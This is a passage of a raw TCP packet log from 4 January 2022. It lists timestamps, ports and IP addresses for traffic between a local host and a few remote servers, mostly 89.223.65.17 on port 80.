Jan 4, 2022 19:33:57.767694950 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.767718077 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.767720938 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.767744064 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.767755985 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.767769098 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.767791986 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.767803907 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.767815113 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.768384933 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.813931942 CET	49894	443	192.168.2.5	116.202.14.219
Jan 4, 2022 19:33:57.813963890 CET	443	49894	116.202.14.219	192.168.2.5
Jan 4, 2022 19:33:57.827816010 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.827853918 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.827877998 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.827900887 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.827925920 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.827950954 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.827964067 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.827974081 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.827999115 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.828016043 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.828021049 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.828044891 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.828047991 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.828068972 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.828093052 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.828108072 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.828118086 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.828130960 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.828140974 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.828165054 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.828188896 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.828197002 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.828212023 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.828236103 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.828243017 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.828259945 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.828274965 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.828283072 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.828306913 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.828330040 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.828356028 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.828366995 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.828391075 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.828396082 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.828414917 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.828438997 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.828439951 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.828465939 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.828490019 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.828501940 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.828515053 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.828530073 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.828538895 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.828562021 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.828584909 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.828599930 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.828608990 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.828634024 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.828656912 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.828658104 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.828675985 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.828681946 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.828706026 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.828731060 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.828757048 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.828759909 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.828782082 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.828802109 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.828828096 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.888956070 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.888983011 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.889008999 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.889034986 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.889058113 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.889081001 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.889107943 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.889122009 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.889138937 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.889152050 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.889163017 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.889188051 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.889210939 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.889219046 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.889240026 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.889247894 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.889264107 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.889287949 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.889312983 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.889322996 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.889337063 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.889369011 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.889381886 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.889403105 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.889426947 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.889436007 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.889452934 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.889468908 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.889478922 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.889502048 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.889528990 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.889543056 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.889569044 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.889589071 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.889590025 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.889611959 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.889633894 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.889636040 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.889658928 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.889683008 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.889693975 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.889707088 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.889718056 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.889729023 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.889754057 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.889770031 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.889776945 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.889800072 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.889811993 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.889822960 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.889846087 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.889858961 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.889868975 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.889892101 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.889902115 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.889911890 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.889936924 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.889960051 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.889971018 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.889982939 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.890001059 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.890006065 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.890275955 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.894567966 CET	443	49894	116.202.14.219	192.168.2.5
Jan 4, 2022 19:33:57.894690990 CET	49894	443	192.168.2.5	116.202.14.219
Jan 4, 2022 19:33:57.950372934 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.950447083 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.950459957 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.950485945 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.950498104 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.950509071 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.950534105 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.950537920 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.950567007 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.950588942 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.950593948 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.950623035 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.950632095 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.950651884 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.950680017 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.950696945 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.950757980 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.950788021 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.950803041 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.950817108 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.950843096 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.950861931 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.950869083 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.950897932 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.950906992 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.950927019 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.950957060 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.950964928 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.950984001 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.951009989 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.951021910 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.951040030 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.951085091 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.951100111 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.951138020 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.951162100 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.951175928 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.951188087 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.951227903 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.951231003 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.951256037 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.951277018 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.951296091 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.951299906 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.951344967 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.951355934 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.951385975 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.951415062 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.951440096 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.951473951 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.951507092 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.951523066 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.951534986 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.951562881 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.951636076 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.951654911 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.951673031 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.951694012 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.951702118 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.951730013 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.951755047 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.951772928 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.951855898 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:57.951905966 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.951932907 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:57.952011108 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.009783030 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:58.010103941 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:58.014166117 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.014188051 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.014230013 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.014246941 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.014264107 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.014278889 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.014292002 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.014293909 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.014309883 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.014318943 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.014328957 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.014358044 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.014360905 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.014385939 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.014419079 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.014436007 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.014461994 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.014468908 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.014487982 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.014494896 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.014525890 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.014525890 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.014534950 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.014543056 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.014556885 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.014576912 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.014579058 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.014592886 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.014607906 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.014612913 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.014626026 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.014647007 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.014655113 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.014667034 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.014683962 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.014684916 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.014698982 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.014708042 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.014718056 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.014745951 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.014746904 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.014763117 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.014777899 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.014781952 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.014795065 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.014811039 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.014828920 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.014834881 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.014847994 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.014873028 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.014877081 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.014883995 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.014884949 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.014898062 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.014911890 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.014914989 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.014930010 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.014945984 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.014961004 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.014962912 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.014977932 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.014993906 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.015006065 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.015010118 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.015026093 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.015049934 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.015078068 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.035754919 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.078181028 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.078201056 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.078217030 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.078243971 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.078253031 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.078257084 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.078274965 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.078295946 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.078301907 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.078314066 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.078330040 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.078340054 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.078345060 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.078366041 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.078380108 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.078387022 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.078397036 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.078413010 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.078428030 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.078435898 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.078453064 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.078469038 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.078474998 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.078490019 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.078502893 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.078507900 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.078522921 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.078540087 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.078555107 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.078562975 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.078579903 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.078588009 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.078598976 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.078629017 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.078632116 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.078646898 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.078663111 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.078665018 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.078684092 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.078702927 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.078716993 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.078720093 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.078733921 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.078748941 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.078756094 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.078768015 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.078772068 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.078787088 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.078799009 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.078809023 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.078825951 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.078840971 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.078847885 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.078856945 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.078877926 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.078877926 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.078896046 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.078911066 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.078928947 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.078929901 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.078948021 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.078963041 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.078964949 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.078979015 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.078983068 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.078998089 CET	80	49892	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:58.079015017 CET	49892	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:58.079015970 CET	80	49892	89.223.65.17	192.168.2.5
